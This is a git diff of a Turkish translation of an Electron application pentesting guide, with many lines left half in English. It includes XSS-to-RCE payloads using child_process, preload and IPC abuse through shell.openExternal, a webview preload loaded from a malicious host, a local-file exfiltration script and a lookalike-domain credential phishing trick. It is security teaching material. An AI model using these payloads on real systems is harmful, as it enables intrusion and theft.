Translated ['', 'src/network-services-pentesting/pentesting-web/electron

This commit is contained in:
Translator 2025-09-08 02:44:36 +00:00
parent ee44d6d3ff
commit 7fc979172f

View File

@ -4,27 +4,27 @@
## Giriş
Electron, yerel bir arka uç (**NodeJS**) ve bir ön uç (**Chromium**) birleştirir, ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
Electron, yerel bir backend (**NodeJS** ile) ve bir frontend (**Chromium**) birleştirir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
Genellikle, electron uygulama kodunu bir `.asar` uygulaması içinde bulabilirsiniz, kodu elde etmek için onu çıkarmanız gerekir:
Genellikle Electron uygulama kodunu bir `.asar` uygulamasının içinde bulursunuz; koda erişmek için bunu çıkarmanız gerekir:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasının belirtildiğini bulabilirsiniz.
Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasını bulabilirsiniz.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron'ın 2 işlem türü vardır:
Electron'un 2 işlem türü vardır:
- Ana İşlem (NodeJS'ye tam erişimi vardır)
- Render İşlemi (güvenlik nedenleriyle NodeJS'ye kısıtlı erişime sahip olmalıdır)
- Main Process (NodeJS'e tam erişimi vardır)
- Renderer Process (güvenlik nedeniyle NodeJS erişimi kısıtlanmış olmalıdır)
![](<../../../images/image (182).png>)
Bir **render işlemi**, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:
Bir **renderer process**, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,20 +32,20 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process** ayarları **main process** içinde main.js dosyasında **yapılandırılabilir**. Bazı yapılandırmalar, **ayarlar doğru bir şekilde yapılandırıldığında** Electron uygulamasının RCE veya diğer güvenlik açıklarını almasını **önleyecektir**.
Ayarlar, **renderer işlemi** için **main işlemi** içinde yer alan main.js dosyasında **yapılandırılabilir**. Bu yapılandırmalardan bazıları, **Electron uygulamasının RCE veya diğer zafiyetler kazanmasını önler** eğer **ayarlar doğru yapılandırılmışsa**.
Electron uygulaması, Node apileri aracılığıyla **cihaza erişebilir**, ancak bunu önlemek için yapılandırılabilir:
Electron uygulaması, önlenebilse de Node API'leri aracılığıyla **cihaza erişebilir**:
- **`nodeIntegration`** - varsayılan olarak `kapalıdır`. Açık olduğunda, renderer process'ten node özelliklerine erişime izin verir.
- **`contextIsolation`** - varsayılan olarak `ıktır`. Kapalı olduğunda, main ve renderer süreçleri izole edilmez.
- **`preload`** - varsayılan olarak boştur.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlar.
- Workers'da Node Entegrasyonu
- **`nodeIntegrationInSubframes`** - varsayılan olarak `kapalıdır`.
- Eğer **`nodeIntegration`** **etkinleştirilirse**, bu, Electron uygulaması içinde **iframe'lerde yüklenen** web sayfalarında **Node.js API'lerinin** kullanılmasına izin verir.
- Eğer **`nodeIntegration`** **devre dışı bırakılırsa**, o zaman preloads iframe içinde yüklenecektir.
- **`nodeIntegration`** - varsayılan olarak `off`'tur. Açık ise, renderer işleminden node özelliklerine erişime izin verir.
- **`contextIsolation`** - varsayılan olarak `on`'dur. Eğer `off` ise, main ve renderer işlemleri izole değildir.
- **`preload`** - varsayılan olarak boş.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlayacaktır.
- Workers'ta Node Integration
- **`nodeIntegrationInSubframes`** - varsayılan olarak `off`'tur.
- Eğer **`nodeIntegration`** **etkinse**, bu Electron uygulaması içindeki iframe'lere **yüklenen** web sayfalarında **Node.js API'lerinin** kullanılmasına izin verir.
- Eğer **`nodeIntegration`** **devre dışıysa**, preload'lar iframe içinde yüklenecektir
Yapılandırma örneği:
Example of configuration:
```javascript
const mainWindowOptions = {
title: "Discord",
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Bazı **RCE yükleri** [buradan](https://7as.es/electron/nodeIntegration_rce.txt):
Bazı **RCE payloads** şu adreste: [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -95,16 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Trafiği Yakala
### Trafiği yakalama
Başlangıç-ana yapılandırmasını değiştirin ve aşağıdaki gibi bir proxy kullanın:
start-main yapılandırmasını değiştirin ve şu gibi bir proxy kullanımını ekleyin:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Yerel Kod Enjeksiyonu
Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhtemelen keyfi javascript kodu çalıştırabilirsiniz. Bunu nasıl yapacağınızı kontrol edin:
## Electron Local Code Injection
Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, arbitrary javascript code çalıştırmasını sağlayabilirsiniz. Nasıl olduğunu şurada kontrol edin:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -112,7 +111,7 @@ Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhte
## RCE: XSS + nodeIntegration
Eğer **nodeIntegration** **ık** olarak ayarlandıysa, bir web sayfasının JavaScript'i Node.js özelliklerini kolayca kullanabilir, sadece `require()` çağrısı yaparak. Örneğin, Windows'ta calc uygulamasını çalıştırmanın yolu:
Eğer **nodeIntegration** **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i `require()` çağırarak kolayca Node.js özelliklerini kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yolu şudur:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Bu ayarda belirtilen script, **renderer'daki diğer scriptlerden önce yüklenir**, bu nedenle **Node API'lerine sınırsız erişimi vardır**:
Bu ayarda belirtilen script, **renderer içindeki diğer scriptlerden önce yüklenir**, bu yüzden **Node APIs'e sınırsız erişime** sahiptir:
```javascript
new BrowserWindow{
webPreferences: {
@ -133,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Bu nedenle, script node-features'ı sayfalara aktarabilir:
Bu nedenle script node-features'i sayfalara aktarabilir:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -149,63 +148,66 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Eğer `contextIsolation` ıksa, bu çalışmayacak**
> [!NOTE] > **Eğer `contextIsolation` etkinse, bu çalışmaz**
## RCE: XSS + contextIsolation
_**contextIsolation**_ , **web sayfası betikleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar** tanıtarak her bir kodun JavaScript yürütmesinin birbirini etkilememesini sağlar. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.
_**contextIsolation**_ web sayfası scriptleri ile Electron'un dahili JavaScript kodu arasında ayrı çalışma bağlamları (contexts) oluşturur; böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE ihtimalini ortadan kaldırmak için gerekli bir özelliktir.
Eğer bağlamlar izole edilmezse, bir saldırgan:
Eğer bağlamlar izole dilse bir saldırgan şunları yapabilir:
1. **renderer'da keyfi JavaScript çalıştırabilir** (XSS veya harici sitelere yönlendirme)
2. Preload veya Electron iç kodunda kullanılan **yerleşik yöntemi** kendi fonksiyonu ile **üstüne yazabilir**
3. **Üstüne yazılmış fonksiyonun** kullanılmasını **tetikleyebilir**
1. Execute **arbitrary JavaScript in renderer** (XSS veya harici sitelere yönlendirme)
2. Preload veya Electron'un dahili kodunda kullanılan **Overwrite the built-in method**'u değiştirip kendi fonksiyonunu koymak
3. **Trigger** ile **overwritten function** kullanımını tetiklemek
4. RCE?
Yerleşik yöntemlerin üstüne yazılabileceği 2 yer vardır: Preload kodunda veya Electron iç kodunda:
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Tıklama olayını atlatma
Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, bunları **normal sol tıklama yerine orta tıklama yaparak** atlatabilirsiniz.
Eğer bir linke tıkladığınızda kısıtlamalar uygulanıyorsa, bunları normal sol tıklama yerine **orta tıklama yaparak** atlatabilirsiniz.
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
## RCE ile shell.openExternal
Bu örnekler hakkında daha fazla bilgi için [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) adreslerini kontrol edin.
Bu örnekler hakkında daha fazla bilgi için bakınız: [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların sağlanması çok önemlidir. **İstemci tarafı uzaktan kod yürütme (RCE)**, ön yükleme betikleri veya ana süreçten Electron'un yerel kodunu hedef alarak bu ayarlar ile etkili bir şekilde engellenir.
Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların yapıldığından emin olmak hayati önem taşır. Bu ayarların etkin olması durumunda, preload script'lerini veya Electron'un native kodunu main process'ten hedef alan client-side remote code execution (RCE) büyük ölçüde engellenmiş olur.
Bir kullanıcının bağlantılarla etkileşime girmesi veya yeni pencereler açması durumunda, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir:
Kullanıcı linklerle etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli event listener'lar tetiklenir:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Bu dinleyiciler **masaüstü uygulaması tarafından geçersiz kılınır** ve kendi **iş mantığını** uygular. Uygulama, yönlendirilen bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mıılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon `false` dönerse, bağlantının harici olarak açılması gerektiğini belirtir ve `shell.openExternal` fonksiyonu kullanılır.
Bu dinleyiciler, uygulamanın kendi **iş mantığını** uygulamak amacıyla masaüstü uygulama tarafından **geçersiz kılınır**. Uygulama, gezilen bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mıılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının `shell.openExternal` fonksiyonunu kullanarak harici olarak açılması gerektiğini gösterir.
**İşte basitleştirilmiş bir pseudocode:**
**Here is a simplified pseudocode:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriğin kabul edilmemesini önerir, çünkü bu çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konu hakkında daha ayrıntılı örnekler ve açıklamalar için, bu kaynağa [başvurulabilir](https://positive.security/blog/url-open-rce#windows-10-19042), bu kaynak, bu güvenlik açığını istismar edebilecek Windows protokol örneklerini içermektedir.
Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvensiz içeriğin kabul edilmemesini önerir; çünkü bu, çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE tetikleyebilecek farklı protokolleri destekler. Bu konuyla ilgili ayrıntılı örnekler ve daha fazla açıklama için [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) kaynağına bakılabilir; kaynak, bu güvenlik açığını kullanabilecek Windows protokol örneklerini içerir.
macos'ta, `openExternal` fonksiyonu, `shell.openExternal('file:///System/Applications/Calculator.app')` gibi rastgele komutlar çalıştırmak için istismar edilebilir.
macos'ta, `openExternal` fonksiyonu `shell.openExternal('file:///System/Applications/Calculator.app')` örneğinde olduğu gibi rastgele komutları çalıştırmak için kötüye kullanılabilir.
**Windows protokol istismarlarına örnekler şunlardır:**
**Examples of Windows protocol exploits include:**
```html
<script>
window.open(
@ -227,15 +229,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Bu zafiyet **[bu raporda](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** bulunabilir.
Bu vuln **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** içinde bulunabilir.
**webviewTag**, **NodeJS**'in **renderer process** içinde kullanılmasına izin veren **kullanımdan kaldırılmış bir özelliktir**, bu da preload bağlamında bir script yüklenmesine olanak tanıdığı için devre dışı bırakılmalıdır:
**webviewTag**, **NodeJS**'in **renderer process** içinde kullanılmasına izin veren **kullanımdan kaldırılmış bir özellik** olup, preload context içine aşağıdaki gibi bir script yüklenmesine izin verdiği için devre dışı bırakılmalıdır:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Bu nedenle, rastgele bir sayfayı yüklemeyi başaran bir saldırgan, o etiketi **rastgele bir ön yükleme betiği yüklemek için** kullanabilir.
Bu nedenle, rastgele bir sayfa yüklemeyi başaran bir saldırgan, o etiketi **load an arbitrary preload script** yüklemek için kullanabilirdi.
Bu ön yükleme betiği daha sonra **kırılgan IPC servisini (`skype-new-window`)** çağırmak için istismar edildi ve bu da **`shell.openExternal`** çağrısı yaparak RCE elde etti:
Bu preload script daha sonra **vulnerable IPC service (`skype-new-window`)** çağırmak için kötüye kullanıldı; bu servis RCE elde etmek için **`shell.openExternal`** çağırıyordu:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -246,13 +248,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
}, 5000);
})();
```
## Dahili Dosyaları Okuma: XSS + contextIsolation
## İç Dosyaları Okuma: XSS + contextIsolation
**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve dışa aktarmak için `<webview>` etiketlerinin** kullanılmasına olanak tanır; bu, `<iframe>`'e benzer. Sağlanan bir örnek, bu güvenlik açığını kullanarak dahili dosyaların içeriğini okuma yöntemini göstermektedir:
**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve exfiltrating için `<webview>` etiketlerinin `<iframe>` benzeri kullanımına izin verir.** Verilen bir örnek, bu zafiyeti exploit ederek iç dosyaların içeriğini nasıl okuyabileceğini gösterir:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Ayrıca, **dahili bir dosyayı okuma** için başka bir yöntem paylaşılmakta olup, bir Electron masaüstü uygulamasında kritik bir yerel dosya okuma güvenlik açığını vurgulamaktadır. Bu, uygulamayı istismar etmek ve verileri dışa aktarmak için bir script enjekte etmeyi içerir:
Ayrıca, iç bir dosyayı okuma için başka bir yöntem paylaşılıyor; bu, bir Electron desktop app'te kritik bir local file read vulnerability olduğunu vurguluyor. Bu, uygulamayı exploit etmek ve verileri exfiltrate etmek için bir script enjekte etmeyi içerir:
```html
<br /><br /><br /><br />
<h1>
@ -268,45 +270,45 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Eski Chromium**
## **RCE: XSS + Eski chromium**
Eğer uygulamanın kullandığı **chromium** **eski** ise ve üzerinde **bilinen** **zafiyetler** varsa, **bunu istismar etmek ve XSS aracılığıyla RCE elde etmek** mümkün olabilir.\
Bir örneği bu **yazıda** görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
If the **chromium** used by the application is **old** and there are **known** **vulnerabilities** on it, it might be possible to to **exploit it and obtain RCE through a XSS**.\
Bir örneğini bu **writeup**'ta görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing İçin Dahili URL regex atlatma**
## **XSS Phishing via Internal URL regex bypass**
Bir XSS bulduğunuzu varsayalım ama **RCE'yi tetikleyemiyorsanız veya dahili dosyaları ç alamıyorsanız**, bunu **kimlik bilgilerini phishing ile çalmak için** kullanmayı deneyebilirsiniz.
Supposing you found a XSS but you **cannot trigger RCE or steal internal files** you could try to use it to **steal credentials via phishing**.
Öncelikle, yeni bir URL açmaya çalıştığınızda neler olduğunu, ön uçtaki JS kodunu kontrol ederek bilmeniz gerekir:
Öncelikle yeni bir URL açmaya çalıştığınızda ne olduğunu bilmeniz gerekir; front-end'deki JS kodunu kontrol ederek:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
**`openInternally`** çağrısı, **bağlantının** platforma ait bir bağlantı olup olmadığına göre **masaüstü penceresinde** **açılacağını** veya **üçüncü taraf bir kaynak olarak** **tarayıcıda**ılıp açılmayacağını belirleyecektir.
**`openInternally`** çağrısı, bir **link**in platforma ait olduğu durumda **desktop window** içinde **opened** mı olacağını, **or** **browser as a 3rd party resource** içinde mi açılacağını belirler.
Eğer fonksiyonun kullandığı **regex** **bypass'lere karşı** **zayıfsa** (örneğin, **alt alan adlarının noktalarını kaçırmıyorsa**), bir saldırgan XSS'i kötüye kullanarak **kullanıcıdan kimlik bilgileri** talep eden **yeni bir pencere açabilir**:
Eğer fonksiyon tarafından kullanılan **regex** **vulnerable to bypasses** ise (örneğin **not escaping the dots of subdomains**), bir saldırgan **XSS**'i suistimal ederek saldırganın altyapısında yer alacak ve kullanıcıdan kimlik bilgisi isteyen yeni bir pencereyi **open a new window which** **asking for credentials** açabilir:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protokolü
## `file://` Protocol
[Belgelerde](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) belirtildiği gibi, **`file://`** üzerinde çalışan sayfalar, makinenizdeki her dosyaya tek taraflı erişime sahiptir, bu da **XSS sorunlarının kullanıcı makinesinden rastgele dosyalar yüklemek için kullanılabileceği** anlamına gelir. **Özel bir protokol** kullanmak, protokolü yalnızca belirli bir dosya setini sunacak şekilde sınırlayabileceğiniz için bu tür sorunları önler.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
## Uzaktan modül
## Remote module
Electron Uzaktan modülü, **renderer süreçlerinin ana süreç API'lerine erişmesine** olanak tanır ve bir Electron uygulaması içinde iletişimi kolaylaştırır. Ancak, bu modülün etkinleştirilmesi önemli güvenlik riskleri getirir. Uygulamanın saldırı yüzeyini genişleterek, çapraz site betik (XSS) saldırıları gibi güvenlik açıklarına daha duyarlı hale getirir.
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
> [!TIP]
> **remote** modülü, ana süreçten renderer süreçlerine bazı API'leri açsa da, yalnızca bileşenleri kötüye kullanarak RCE elde etmek kolay değildir. Ancak, bileşenler hassas bilgileri açığa çıkarabilir.
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> [!WARNING]
> Hala uzaktan modülü kullanan birçok uygulama, renderer sürecinde **NodeIntegration'ın etkinleştirilmesini gerektirir**, bu da **büyük bir güvenlik riski** oluşturur.
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
Electron 14'ten itibaren, Electron'un `remote` modülü, güvenlik ve performans nedenleriyle birkaç adımda etkinleştirilebilir; bu nedenle **kullanılmaması önerilir**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
Etkinleştirmek için, önce **ana süreçte etkinleştirilmesi gerekir**:
To enable it, it'd first needed to **enable it in the main process**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -317,35 +319,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Sonra, render işlemi modülden nesneleri şu şekilde içe aktarabilir:
Sonra, renderer işlemi modülden nesneleri şu şekilde import edebilir:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**, uzaktan modülden **`app`** nesnesi tarafından sunulan bazı ilginç **fonksiyonları** belirtmektedir:
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** remote modülündeki **`app`** nesnesinin açığa çıkardığı bazı ilginç **fonksiyonları** işaret ediyor:
- **`app.relaunch([options])`**
- Mevcut örneği **kapatarak** uygulamayı **yeniden başlatır** ve yeni bir tane **başlatır**. **Uygulama güncellemeleri** veya önemli **durum değişiklikleri** için faydalıdır.
- **Uygulamayı yeniden başlatır**; mevcut örneği **kapatıp** yeni bir tane **başlatarak**. **Uygulama güncellemeleri** veya önemli **durum değişiklikleri** için kullanışlıdır.
- **`app.setAppLogsPath([path])`**
- **Uygulama günlükleri** depolamak için bir dizin **tanımlar** veya **oluşturur**. Günlükler **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak **alınabilir** veya **değiştirilebilir**.
- **Uygulama günlüklerini** saklamak için bir dizin **tanımlar** veya **oluşturur**. Günlüklere **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak **erişilebilir** veya **değiştirilebilir**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- Belirtilen **protokol** için mevcut çalıştırılabilir dosyayı **varsayılan işleyici** olarak **kaydeder**. Gerekirse **özel bir yol** ve **argümanlar** sağlayabilirsiniz.
- Mevcut yürütülebilir dosyayı belirtilen bir **protokol** için **varsayılan işleyici** olarak **kayıt eder**. Gerekirse bir **özel yol** ve **argümanlar** sağlayabilirsiniz.
- **`app.setUserTasks(tasks)`**
- **Jump List** (Windows'ta) içindeki **Görevler kategorisine** görevler **ekler**. Her görev, uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçeceğini kontrol edebilir.
- **Jump List** içinde **Görevler kategorisine** görevler **ekler** (Windows). Her görev uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçirileceğini kontrol edebilir.
- **`app.importCertificate(options, callback)`**
- Sistemin **sertifika deposuna** bir **PKCS#12 sertifikası** **ithal eder** (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
- PKCS#12 formatındaki bir **sertifikayı** sistemin **sertifika deposuna** **içe aktarır** (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
- **`app.moveToApplicationsFolder([options])`**
- Uygulamayı **Uygulamalar klasörüne** **taşır** (macOS'ta). Mac kullanıcıları için **standart bir kurulum** sağlamaya yardımcı olur.
- Uygulamayı **Applications klasörüne** taşır (macOS). Mac kullanıcıları için **standart bir kurulum** sağlanmasına yardımcı olur.
- **`app.setJumpList(categories)`**
- **Windows** üzerinde bir **özel Jump List** **ayarlar** veya **kaldırır**. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
- Windowsta **özel bir Jump List** ayarlar veya kaldırır. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
- **`app.setLoginItemSettings(settings)`**
- **Girişte** hangi **çalıştırılabilir dosyaların** **başlatılacağını** ve bunların **seçeneklerini** **ayarlar** (sadece macOS ve Windows).
- Hangi **yürütülebilir dosyaların** girişte (**login**) çalıştırılacağını ve bunların **seçeneklerini** yapılandırır (sadece macOS ve Windows).
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences modülü
Electron'da sistem tercihlerine erişmek ve sistem olaylarını yaymak için **birincil API**. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** ve **setUserDefault** gibi yöntemler bu modülün **bir parçasıdır**.
Electron'da sistem tercihlerine erişmek ve **sistem olayları yayımlamak** için birincil **API**. Şu yöntemler — **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, ve **setUserDefault** — tamamı bu modülün **parçasıdır**.
**Örnek kullanım:**
```javascript
@ -362,33 +366,33 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Yerel macOS bildirimlerini** dinler, NSDistributedNotificationCenter kullanarak.
* **macOS Catalina**'dan önce, CFNotificationCenterAddObserver'a **nil** geçirerek **tüm** dağıtılmış bildirimleri dinleyebilirdiniz.
* **Catalina / Big Sur**'dan sonra, sandboxed uygulamalar hala **birçok olaya** (örneğin, **ekran kilitlenmeleri/açılmaları**, **ses montajları**, **ağ etkinliği** vb.) **isimle** bildirim kaydederek **abone** olabilir.
* **NSDistributedNotificationCenter** kullanarak **native macOS notifications** için **dinler**.
* **macOS Catalina** öncesinde, **CFNotificationCenterAddObserver**'a **nil** geçirerek **tüm** dağıtılmış bildirimleri sniff edebilirdiniz.
* **Catalina / Big Sur** sonrası, sandboxed apps yine de bildirimleri **isimleriyle** kaydederek **birçok olaya** (örneğin, **screen locks/unlocks**, **volume mounts**, **network activity** vb.) **subscribe** olabilir.
### **getUserDefault / setUserDefault**
* **NSUserDefaults** ile **arayüz** sağlar, bu da macOS'ta **uygulama** veya **küresel** tercihleri saklar.
* **NSUserDefaults** ile **interfaces** eder; bu, macOS'ta **application** veya **global** tercihleri depolar.
* **getUserDefault**, **son dosya konumları** veya **kullanıcının coğrafi konumu** gibi hassas bilgileri **alabilir**.
* **getUserDefault**, **recent file locations** veya **users geographic location** gibi hassas bilgileri **retrieve** edebilir.
* **setUserDefault**, bu tercihleri **değiştirebilir**, bu da bir uygulamanın **konfigürasyonunu** etkileyebilir.
* **setUserDefault** bu tercihleri **modify** edebilir ve potansiyel olarak bir uygulamanın **configuration**'ını etkileyebilir.
* **Eski Electron sürümlerinde** (v8.3.0'dan önce), yalnızca NSUserDefaults'un **standart seti** **erişilebilir** idi.
* **older Electron versions** (v8.3.0 öncesi) durumunda yalnızca **standard suite** of NSUserDefaults **accessible** idi.
## Shell.showItemInFolder
Bu fonksiyon, verilen dosyayı bir dosya yöneticisinde gösterir, bu da **dosyanın otomatik olarak çalıştırılmasına** neden olabilir.
This function shows the given file in a file manager, which **could automatically execute the file**.
Daha fazla bilgi için [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) kontrol edin.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron uygulamaları, **XSS saldırılarını** **önlemek** için bir **İçerik Güvenlik Politikası (CSP)** bulundurmalıdır. **CSP**, tarayıcıda **güvensiz kodun** **çalıştırılmasını** **önlemeye** yardımcı olan bir **güvenlik standardıdır**.
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
Genellikle **`main.js`** dosyasında veya **`index.html`** şablonunda CSP'nin bulunduğu bir **meta etiketi** ile **yapılandırılır**.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
Daha fazla bilgi için kontrol edin:
For more information check:
{{#ref}}
@ -398,16 +402,16 @@ pentesting-web/content-security-policy-csp-bypass/
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-patentlerini tanımlamak için bir araçtır.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity kullanan Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) güvenlik açığı olan üçüncü taraf kütüphaneleri kontrol etmek için
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
- [**Electro.ng**](https://electro.ng/): Satın almanız gerekiyor
## Labs
